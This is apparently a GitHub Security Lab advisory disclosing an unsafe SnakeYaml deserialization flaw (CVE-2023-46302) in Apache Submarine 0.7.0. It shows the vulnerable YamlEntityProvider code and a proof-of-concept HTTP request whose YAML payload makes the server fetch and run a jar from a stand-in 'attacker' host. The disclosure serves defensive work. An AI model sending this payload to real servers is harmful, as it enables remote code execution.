Coordinated Disclosure Timeline

  • 2023-02-02: Report sent to security@apache.org
  • 2023-02-03: Report is acknowledged
  • 2023-03-26: Fix commit is pushed

Summary

Apache Submarine is vulnerable to unsafe deserialization due to the use of SnakeYaml’s default constructor when parsing user-supplied data.

Product

Submarine

Tested Version

version 0.7.0

Details

Issue: Unsafe deserialization via SnakeYaml in YamlEntityProvider (GHSL-2023-015)

Apache Submarine uses JAXRS to define REST endpoints. In order to handle YAML requests (using application/yaml content-type), it defines a YamlEntityProvider entity provider that will process all incoming YAML requests. In order to unmarshal the request, the readFrom method is invoked, passing the entityStream containing the user-supplied data to Yaml.loadAs:

@Override
  public T readFrom(Class<T> type, Type genericType, Annotation[] annotations,
      MediaType mediaType,
      MultivaluedMap<String, String> httpHeaders, InputStream entityStream)
      throws WebApplicationException {
    Yaml yaml = new Yaml();
    T t = yaml.loadAs(toString(entityStream), type);
    return t;
  }

Even though yaml.loadAs enforces that the provided type matches the type of the yaml data of the request, this check is only done for the overall object, so providing a subtype like the following would be accepted as valid and deserialized:

!!org.apache.submarine.server.api.model.ServeSpec:
    modelName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://attacker/yaml-payload.jar"]]]]

Proof of Concept

In order to exploit this deserialization vulnerability, we can instantiate a javax.script.ScriptEngineManager object with a URLClassLoader argument, which will trigger the constructor. The provided URL points to an attacker-controller server hosting a malicious jar which will execute a command.

  • HTTP request:
POST /api/v1/serve/ HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/yaml
Content-Length: 205

!!org.apache.submarine.server.api.model.ServeSpec:
    modelName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://attacker/yaml-payload.jar"]]]]

Using artsploit/yaml-payload project, we can build the payload, which, when served, can be fetched by the deserialization of the yaml payload.

Impact

This issue may lead to Remote Code Execution

CVE

  • CVE-2023-46302

Credit

This issue was discovered and reported by GHSL team member @jorgectf (Jorge Rosillo).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-015 in any communication regarding this issue.